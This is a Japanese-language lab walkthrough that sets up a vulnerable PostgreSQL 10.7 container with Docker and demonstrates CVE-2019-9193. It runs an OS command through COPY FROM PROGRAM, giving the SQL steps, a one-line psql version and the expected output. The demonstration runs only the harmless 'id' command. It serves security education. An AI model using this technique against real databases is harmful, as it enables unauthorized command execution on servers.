
Dockerベースのラボで、CVE-2019-9193 PostgreSQLのCOPY FROM PROGRAMを介した任意のコマンド実行を実証し、セキュリティテストと教育のためのステップバイステップのPoCを提供します。
PostgreSQL はオープンソースのリレーショナルデータベース管理システムです。バージョン 9.3 から 11 には、管理者または COPY TO/FROM PROGRAM 権限を持つユーザーがシステム上で任意のコマンドを実行できる脆弱性が存在します。
docker-compose.yml)以下の内容で docker-compose.yml ファイルを作成します:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
以下のコマンドでコンテナを実行します:
docker compose up -d
コンテナが実行中であることを確認します:
docker ps
出力には PostgreSQL コンテナがポート 5432 で待ち受けていることが表示されるはずです。
psql クライアントがインストールされていない場合は、次のコマンドでインストールします:
apt-get install postgresql-client
Kali から直接データベースに接続します:
psql -h localhost -p 5432 -U postgres
パスワードを求められるので、次のパスワードを入力します:
postgres
PostgreSQL コンソールに接続したら、脆弱性を悪用するために以下のコマンドを実行します:
-- テーブルが存在すれば削除
DROP TABLE IF EXISTS cmd_exec;
-- コマンド出力を保存する新しいテーブルを作成
CREATE TABLE cmd_exec(cmd_output text);
-- COPY FROM PROGRAM 関数を使って 'id' コマンドを実行
COPY cmd_exec FROM PROGRAM 'id';
-- コマンドの出力を表示
SELECT * FROM cmd_exec;
すべてをコマンドラインから直接実行することもできます:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
エクスプロイトが成功した場合、次のような出力が表示されるはずです:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
\q を入力して終了します:
\q
この脆弱性により、管理権限で任意のコマンドを実行できます。管理された環境下での研究または検証目的にのみ使用してください。許可されていないシステムでこの脆弱性を悪用することは違法です。